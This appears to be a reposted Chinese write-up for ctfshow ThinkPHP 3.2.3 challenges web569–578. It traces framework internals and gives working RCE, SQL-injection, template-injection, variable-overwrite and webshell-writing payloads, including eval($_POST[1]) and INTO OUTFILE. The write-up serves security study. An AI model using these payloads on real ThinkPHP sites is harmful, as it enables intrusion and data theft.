ctfshow ThinkPHP篇—3.2.3(569-578)
Posted yu22x
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow ThinkPHP篇—3.2.3(569-578)相关的知识,希望对你有一定的参考价值。
web569
相关内容
参考thinkphp手册
为了访问下图中的index方法并输出hello 123我们可以通过下面四种模式。
PATHINFO模式
http://localhost/index.php/Home/Index/index/name/123/
普通模式
http://localhost/index.php?m=Home&c=Index&f=index&name=123
兼容模式
http://localhost/index.php?s=Home/Index/index/name/123
其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,所以我们也可以改成其他的参数。
REWRITE模式
http://localhost/Home/Index/index/name/123/
题解
所以我们要访问Admin模块的Login控制器的ctfshowLogin方法就很简单了
url/index.php/Admin/Login/ctfshowLogin
web570
下载下来题目给的Applicaition文件,在config.php中发现了一条路由规则。
'URL_ROUTE_RULES' => array(
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
)
也就是当我们访问url/index.php/ctfshow/xxx/yyy时会执行call_user_func(xxx,yyy)。
因为输入/
很困难,所以我们直接执行system(‘ls /’)不太可能,只能换种方法。
payload:
url/index.php/ctfshow/assert/eval($_POST[1])/
post: 1=system('cat /f*');
web571
在home模块下的index方法中看到了可控变量n。
那我们来研究下这个show函数,为了方面我们传的参数只留下$n
<?php
namespace Home\\Controller;
use Think\\Controller;
class IndexController extends Controller {
public function index($n=''){
$this->show($n);
}
开启调试,跟进display
跟进fetch
可以看到我们传入的n也就是content在TMPL_ENGINE_TYPE是php的情况下会进到eval函数中。
所以我们直接传php代码就可以了。
payload:
?n=<?php system('cat /f*');?>
web572
题目中提到了爆破,在thinkphp开启debug的情况下会在Runtime目录下生成log文件,文件的名称是以年_月_日.log
来命名的。所以我们可以来爆破文件名
bp抓包爆破
可以看到除了我们当天的日期还有一个21_04_05
日志里面传入了php代码,估计后台是写了个一句话木马,密码是showctf。那我们也来试试。
payload:
index.php?showctf=<?php system('cat /f*');?>
web573
内容比较多,单独写了
内容链接
web574
题目给了首页的源码
public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}
和我们上题分析的区别就是先进的where又进的find,我们来还是来调试下。
传入?id=1'
最终在where函数中只执行了下面标注的部分。也就是
$this->options['where']=array("_string"=>"1'")
前面没什么区别,重点在parseWhere中,此时传入的$where
就是我们$this->options['where']
的值也就是array("_string"=>"1'")
。所以我们会进入下面的if
$key
是'_string'
$val
是id=1'
,,所以最终返回的内容是( id=1 )
,所以执行的sql语句是select * from xxx where (id=1') limit 1
payload:?id=0) union select 1,flag4s ,3,4 from flags%23
(跑表名和列名的步骤省略)
web575
内容比较多,单独写了
内容链接
web576
源码如下
$user = M('Users')->comment($id)->find(intval($id));
因为find的重点id使用了intval,所以前面sql注入的方法无法使用了。那么我们重点看下comment函数
给options的comment赋了值。
前面的步骤就不一一赘述了。我们看下用到comment的地方
当我们传入id=1时最终的sql语句为select * from users where id=1 limit 1 /* 1*/
所以怎么构造就很简单了
payload:
?id=1*/ into outfile "/var/www/html/a.php" lines terminated by "<?php eval($_POST[1]);?>" /*
web577
源码如下,与之前相比多了个where
$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();
其主要功能就是把传入的值赋值给了$this->options['where']
现在的options是这样的。
往下一直走到_parseOptions
函数,当经过标注的这个for循环后val被赋值了options['where']
的值。
好我们继续,来到parseWhere的parseWhereItem
当$val
是数组时$val[0]
赋值给了$exp
如果$exp
是字符串exp
最后返回的内容是$whereStr .= $key.' '.$val[1];
也就是字符串id
拼接上$val[1]
,那么$val
是怎么来的呢,我们前面强调了下:_parseOptions
函数中,当经过标注的这个for循环后val被赋值了options['where']
的值。其实归根结底是赋值的我们传入的id的值。
这下就很明显了。只要我们传入的?id[0]=exp就会进入 $whereStr .= $key.' '.$val[1];
接着我们传入的id[1]=xxx就会被放到sql语句中。
payload:
?id[0]=exp&id[1]==0 union select 1,flag4s,2,3 from flags%23
web578
源码如下,开始调试
public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}
第一个函数assign就是一个简单的赋值。就是说如果我们传入?name=a&from=b,
那么$this->tVar=array('a'=>'b');
如果我们传入?name[x]=y,
那么$this->tVar=array('x'=>'y');
接着我们来看下display,跟进fetch
可以看到这个地方有个extract函数对$this->tVar
进行操作。
假设$this->tVar=array('a'=>'b');
那么经过这个函数就会生成$a
值为b.
下面重点来了empty($_content)?include $templateFile:eval('?>'.$_content);
当$_content
不为空时会执行eval函数,这样就能发现了,只要变量覆盖掉$_content
就可以执行php代码了
payload:
?name[_content]=<?php system('cat /f*');?>
以上是关于ctfshow ThinkPHP篇—3.2.3(569-578)的主要内容,如果未能解决你的问题,请参考以下文章